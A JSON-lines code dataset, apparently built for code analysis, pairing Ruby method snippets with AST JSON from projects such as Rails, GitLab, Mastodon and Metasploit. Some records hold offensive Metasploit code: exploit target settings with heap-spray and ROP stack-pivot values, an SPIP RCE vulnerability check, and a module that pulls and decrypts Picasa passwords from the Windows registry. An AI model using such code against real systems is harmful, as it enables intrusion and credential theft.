SP3\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SprayBlocks\"]},{\"type\":\"int\",\"children\":[389]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SprayOffset\"]},{\"type\":\"str\",\"children\":[\"0x0\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[2083792114]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackPivot_1\"]},{\"type\":\"int\",\"children\":[2083792113]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackPivot_2\"]},{\"type\":\"int\",\"children\":[2083792111]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Rop\"]},{\"type\":\"sym\",\"children\":[\"jre\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RopChainOffset\"]},{\"type\":\"str\",\"children\":[\"0x5f4\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RandomHeap\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"IE 8 with Java 6 on Windows 7 SP1/Vista SP2\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SprayBlocks\"]},{\"type\":\"int\",\"children\":[389]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SprayOffset\"]},{\"type\":\"str\",\"children\":[\"0x0\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[2083792114]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackPivot_1\"]},{\"type\":\"int\",\"children\":[2083792113]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackPivot_2\"]},{\"type\":\"int\",\"children\":[2083792111]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Rop\"]},{\"type\":\"sym\",\"children\":[\"jre\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RopChainOffset\"]},{\"type\":\"str\",\"children\":[\"0x5f4\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RandomHeap\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"IE 9 with Java 6 on Windows 7 SP1\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SprayBlocks\"]},{\"type\":\"int\",\"children\":[4096]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SprayOffset\"]},{\"type\":\"str\",\"children\":[\"0x0\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Ret\"]},{\"type\":\"int\",\"children\":[2083792114]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackPivot_1\"]},{\"type\":\"int\",\"children\":[2083792113]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"StackPivot_2\"]},{\"type\":\"int\",\"children\":[2083792111]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Rop\"]},{\"type\":\"sym\",\"children\":[\"jre\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RopChainOffset\"]},{\"type\":\"str\",\"children\":[\"0x5fe\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"RandomHeap\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Privileged\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DisclosureDate\"]},{\"type\":\"str\",\"children\":[\"2012-07-17\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"DefaultTarget\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Notes\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Reliability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_RELIABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Stability\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_STABILITY\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"SideEffects\"]},{\"type\":\"const\",\"children\":[null,\"UNKNOWN_SIDE_EFFECTS\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"register_options\",{\"type\":\"array\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"OptBool\"]},\"new\",{\"type\":\"str\",\"children\":[\"OBFUSCATE\"]},{\"type\":\"array\",\"children\":[{\"type\":\"false\",\"children\":[]},{\"type\":\"str\",\"children\":[\"Enable JavaScript obfuscation\"]},{\"type\":\"false\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]}]}]}]}","id":"8125123f-ba40-4c74-92c4-0a16f0cbd97a"}
{"repo_name":"discourse","file_path":"./repos/discourse/app/serializers/draft_serializer.rb","start_line":54,"raw_source":"def slug\n    object.topic&.slug\n  end","complexity_score":3.8,"ast_json":"{\"type\":\"def\",\"children\":[\"slug\",{\"type\":\"args\",\"children\":[]},{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"object\"]},\"topic\"]},\"slug\"]}]}","id":"93c70889-01fe-422f-b43d-8c9502d8e57a"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/controllers/api/v1/accounts/contacts_controller.rb","start_line":114,"raw_source":"def avatar\n    @contact.avatar.purge if @contact.avatar.attached?\n    @contact\n  end","complexity_score":5.6,"ast_json":"{\"type\":\"def\",\"children\":[\"avatar\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact\"]},\"avatar\"]},\"attached?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@contact\"]},\"avatar\"]},\"purge\"]},null]},{\"type\":\"ivar\",\"children\":[\"@contact\"]}]}]}","id":"94ea0d87-ad7b-408a-91bb-89738b050036"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/app/services/sms/oneoff_sms_campaign_service.rb","start_line":30,"raw_source":"def send_message(to:, content:)\n    channel.send_text_message(to, content)\n  rescue StandardError => e\n    Rails.logger.error(\"[SMS Campaign #{campaign.id}] Failed to send to #{to}: #{e.message}\")\n  end","complexity_score":11.0,"ast_json":"{\"type\":\"def\",\"children\":[\"send_message\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"to\"]},{\"type\":\"kwarg\",\"children\":[\"content\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"channel\"]},\"send_text_message\",{\"type\":\"lvar\",\"children\":[\"to\"]},{\"type\":\"lvar\",\"children\":[\"content\"]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rails\"]},\"logger\"]},\"error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"[SMS Campaign \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"campaign\"]},\"id\"]}]},{\"type\":\"str\",\"children\":[\"] Failed to send to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"to\"]}]},{\"type\":\"str\",\"children\":[\": \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]}]}]}]},null]}]}","id":"2ef24f23-2372-4a48-9e0d-bee936a6a4db"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/spip_porte_plume_previsu_rce.rb","start_line":74,"raw_source":"def check\n    rversion = spip_version || spip_plugin_version('spip')\n    return Exploit::CheckCode::Unknown('Unable to determine the version of SPIP') unless rversion\n\n    print_status(\"SPIP Version detected: #{rversion}\")\n\n    vulnerable_ranges = [\n      { start: Rex::Version.new('4.2.0'), end: Rex::Version.new('4.2.12') },\n      { start: Rex::Version.new('4.1.0'), end: Rex::Version.new('4.1.15') },\n      { start: Rex::Version.new('0.0.0'), end: Rex::Version.new('4.0.99') }\n    ]\n\n    is_vulnerable = vulnerable_ranges.any? { |range| rversion.between?(range[:start], range[:end]) }\n\n    unless is_vulnerable\n      return CheckCode::Safe(\"The detected SPIP version (#{rversion}) is not vulnerable.\")\n    end\n\n    print_good(\"SPIP version #{rversion} is vulnerable.\")\n    plugin_version = spip_plugin_version('porte_plume')\n\n    unless plugin_version\n      print_warning('Could not determine the version of the porte_plume plugin.')\n      return CheckCode::Appears(\"The detected SPIP version (#{rversion}) is vulnerable.\")\n    end\n\n    print_status(\"Porte plume plugin version detected: #{plugin_version}\")\n    if plugin_version < Rex::Version.new('3.1.6')\n      return CheckCode::Appears(\"Both the detected SPIP version (#{rversion}) and porte_plume version (#{plugin_version}) are vulnerable.\")\n    end\n\n    CheckCode::Appears(\"The detected SPIP version (#{rversion}) is vulnerable.\")\n  end","complexity_score":35.8,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"rversion\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"spip_version\"]},{\"type\":\"send\",\"children\":[null,\"spip_plugin_version\",{\"type\":\"str\",\"children\":[\"spip\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rversion\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\",{\"type\":\"str\",\"children\":[\"Unable to determine the version of SPIP\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SPIP Version detected: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rversion\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"vulnerable_ranges\",{\"type\":\"array\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"4.2.0\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"end\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"4.2.12\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"4.1.0\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"end\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"4.1.15\"]}]}]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"0.0.0\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"end\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"4.0.99\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"is_vulnerable\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"vulnerable_ranges\"]},\"any?\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"range\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rversion\"]},\"between?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"start\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"range\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"end\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"is_vulnerable\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The detected SPIP version (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rversion\"]}]},{\"type\":\"str\",\"children\":[\") is not vulnerable.\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"SPIP version \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rversion\"]}]},{\"type\":\"str\",\"children\":[\" is vulnerable.\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"plugin_version\",{\"type\":\"send\",\"children\":[null,\"spip_plugin_version\",{\"type\":\"str\",\"children\":[\"porte_plume\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin_version\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_warning\",{\"type\":\"str\",\"children\":[\"Could not determine the version of the porte_plume plugin.\"]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The detected SPIP version (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rversion\"]}]},{\"type\":\"str\",\"children\":[\") is vulnerable.\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Porte plume plugin version detected: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin_version\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin_version\"]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"3.1.6\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Both the detected SPIP version (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rversion\"]}]},{\"type\":\"str\",\"children\":[\") and porte_plume version (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"plugin_version\"]}]},{\"type\":\"str\",\"children\":[\") are vulnerable.\"]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"The detected SPIP version (\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"rversion\"]}]},{\"type\":\"str\",\"children\":[\") is vulnerable.\"]}]}]}]}]}","id":"4a829615-1ef0-4500-b078-fc2277ab51fa"}
{"repo_name":"sinatra","file_path":"./repos/sinatra/sinatra-contrib/lib/sinatra/multi_route.rb","start_line":61,"raw_source":"def head(*args, &block)     super(*route_args(args), &block)  end","complexity_score":3.0,"ast_json":"{\"type\":\"def\",\"children\":[\"head\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"args\"]},{\"type\":\"blockarg\",\"children\":[\"block\"]}]},{\"type\":\"super\",\"children\":[{\"type\":\"splat\",\"children\":[{\"type\":\"send\",\"children\":[null,\"route_args\",{\"type\":\"lvar\",\"children\":[\"args\"]}]}]},{\"type\":\"block_pass\",\"children\":[{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"f65547bb-807c-4edf-a06f-25d97ee75e4a"}
{"repo_name":"rails","file_path":"./repos/rails/actionview/lib/action_view/helpers/form_tag_helper.rb","start_line":975,"raw_source":"def range_field_tag(name, value = nil, options = {})\n        number_field_tag(name, value, options.merge(type: :range))\n      end","complexity_score":4.2,"ast_json":"{\"type\":\"def\",\"children\":[\"range_field_tag\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"optarg\",\"children\":[\"value\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"number_field_tag\",{\"type\":\"lvar\",\"children\":[\"name\"]},{\"type\":\"lvar\",\"children\":[\"value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"options\"]},\"merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"range\"]}]}]}]}]}]}","id":"df298658-c86c-4c8d-8822-f6044ae56580"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/oauth/authorizations_controller.rb","start_line":159,"raw_source":"def dangerous_scopes?\n    doorkeeper_application&.includes_scope?(\n      *::Gitlab::Auth::API_SCOPE, *::Gitlab::Auth::READ_API_SCOPE,\n      *::Gitlab::Auth::ADMIN_SCOPES, *::Gitlab::Auth::REPOSITORY_SCOPES,\n      *::Gitlab::Auth::REGISTRY_SCOPES\n    ) && !doorkeeper_application&.trusted?\n  end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"dangerous_scopes?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"and\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"doorkeeper_application\"]},\"includes_scope?\",{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Auth\"]},\"API_SCOPE\"]}]},{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Auth\"]},\"READ_API_SCOPE\"]}]},{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Auth\"]},\"ADMIN_SCOPES\"]}]},{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Auth\"]},\"REPOSITORY_SCOPES\"]}]},{\"type\":\"splat\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Gitlab\"]},\"Auth\"]},\"REGISTRY_SCOPES\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"doorkeeper_application\"]},\"trusted?\"]},\"!\"]}]}]}","id":"55620598-ba3c-472e-ab58-ca8164123f51"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/bitbucket_import/parallel_importer.rb","start_line":22,"raw_source":"def execute\n        Gitlab::Import::SetAsyncJid.set_jid(project.import_state)\n\n        Stage::ImportRepositoryWorker\n          .with_status\n          .perform_async(project.id)\n\n        true\n      end","complexity_score":8.4,"ast_json":"{\"type\":\"def\",\"children\":[\"execute\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Import\"]},\"SetAsyncJid\"]},\"set_jid\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"import_state\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Stage\"]},\"ImportRepositoryWorker\"]},\"with_status\"]},\"perform_async\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"project\"]},\"id\"]}]},{\"type\":\"true\",\"children\":[]}]}]}","id":"0ce988b3-a858-42fa-b3b6-4c83ca368fd1"}
{"repo_name":"mastodon","file_path":"./repos/mastodon/app/serializers/rest/status_serializer.rb","start_line":216,"raw_source":"def url\n      tag_url(object)\n    end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"url\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"tag_url\",{\"type\":\"send\",\"children\":[null,\"object\"]}]}]}","id":"1e179b20-b50c-48f5-88e1-70f6da89c47b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/post/windows/gather/credentials/enum_picasa_pwds.rb","start_line":81,"raw_source":"def get_registry\n    print_status('Looking in registry for stored login passwords by Picasa ...')\n\n    username = registry_getvaldata('HKCU\\\\Software\\\\Google\\\\Picasa\\\\Picasa2\\\\Preferences\\\\', 'GaiaEmail') || ''\n    password = registry_getvaldata('HKCU\\\\Software\\\\Google\\\\Picasa\\\\Picasa2\\\\Preferences\\\\', 'GaiaPass') || ''\n\n    credentials = Rex::Text::Table.new(\n      'Header' => 'Picasa Credentials',\n      'Indent' => 1,\n      'Columns' =>\n      [\n        'User',\n        'Password'\n      ]\n    )\n\n    foundcreds = 0\n    if !username.empty? && !password.empty?\n      passbin = [password].pack('H*')\n      pass = decrypt_password(passbin)\n\n      if pass && !pass.empty?\n        print_status('Found Picasa 2 credentials.')\n        print_good(\"Username: #{username}\\t Password: #{pass}\")\n\n        foundcreds = 1\n        credentials << [username, pass]\n      end\n    end\n\n    # For early versions of Picasa3\n    username = registry_getvaldata('HKCU\\\\Software\\\\Google\\\\Picasa\\\\Picasa3\\\\Preferences\\\\', 'GaiaEmail') || ''\n    password = registry_getvaldata('HKCU\\\\Software\\\\Google\\\\Picasa\\\\Picasa3\\\\Preferences\\\\', 'GaiaPass') || ''\n\n    if !username.empty? && !password.empty?\n      passbin = [password].pack('H*')\n      pass = decrypt_password(passbin)\n\n      if pass && !pass.empty?\n        print_status('Found Picasa 3 credentials.')\n        print_good(\"Username: #{username}\\t Password: #{pass}\")\n\n        foundcreds = 1\n        credentials << [username, pass]\n      end\n    end\n\n    if foundcreds == 1\n      path = store_loot(\n        'picasa.creds',\n        'text/csv',\n        session,\n        credentials.to_csv,\n        'decrypted_picasa_data.csv',\n        'Decrypted Picasa Passwords'\n      )\n\n      print_status(\"Decrypted passwords saved in: #{path}\")\n    else\n      print_status('No Picasa credentials found.')\n    end\n  rescue StandardError => e\n    print_error(\"An error has occurred: #{e}\")\n  end","complexity_score":87.4,"ast_json":"{\"type\":\"def\",\"children\":[\"get_registry\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Looking in registry for stored login passwords by Picasa ...\"]}]},{\"type\":\"lvasgn\",\"children\":[\"username\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"str\",\"children\":[\"HKCU\\\\Software\\\\Google\\\\Picasa\\\\Picasa2\\\\Preferences\\\\\"]},{\"type\":\"str\",\"children\":[\"GaiaEmail\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"password\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"str\",\"children\":[\"HKCU\\\\Software\\\\Google\\\\Picasa\\\\Picasa2\\\\Preferences\\\\\"]},{\"type\":\"str\",\"children\":[\"GaiaPass\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"credentials\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Text\"]},\"Table\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Header\"]},{\"type\":\"str\",\"children\":[\"Picasa Credentials\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Indent\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Columns\"]},{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"User\"]},{\"type\":\"str\",\"children\":[\"Password\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"foundcreds\",{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},\"empty?\"]},\"!\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"password\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"passbin\",{\"type\":\"send\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"password\"]}]},\"pack\",{\"type\":\"str\",\"children\":[\"H*\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"pass\",{\"type\":\"send\",\"children\":[null,\"decrypt_password\",{\"type\":\"lvar\",\"children\":[\"passbin\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]},\"empty?\"]},\"!\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"str\",\"children\":[\"Found Picasa 2 credentials.\"]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Username: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]}]},{\"type\":\"str\",\"children\":[\"\\t Password: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"foundcreds\",{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"credentials\"]},\"<<\",{\"type\":\"array\",\"children\":[{\"type\":\"lvar\",\"children\":[\"username\"]},{\"type\":\"lvar\",\"children\":[\"pass\"]}]}]}]},null]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"username\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"str\",\"children\":[\"HKCU\\\\Software\\\\Google\\\\Picasa\\\\Picasa3\\\\Preferences\\\\\"]},{\"type\":\"str\",\"children\":[\"GaiaEmail\"]}]},{\"type\":\"str\",\"children\":[\"\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"password\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"registry_getvaldata\",{\"type\":\"str\",\"children\":[\"HKCU\\\\Software\\\\Google\\\\Picasa\\\\Pi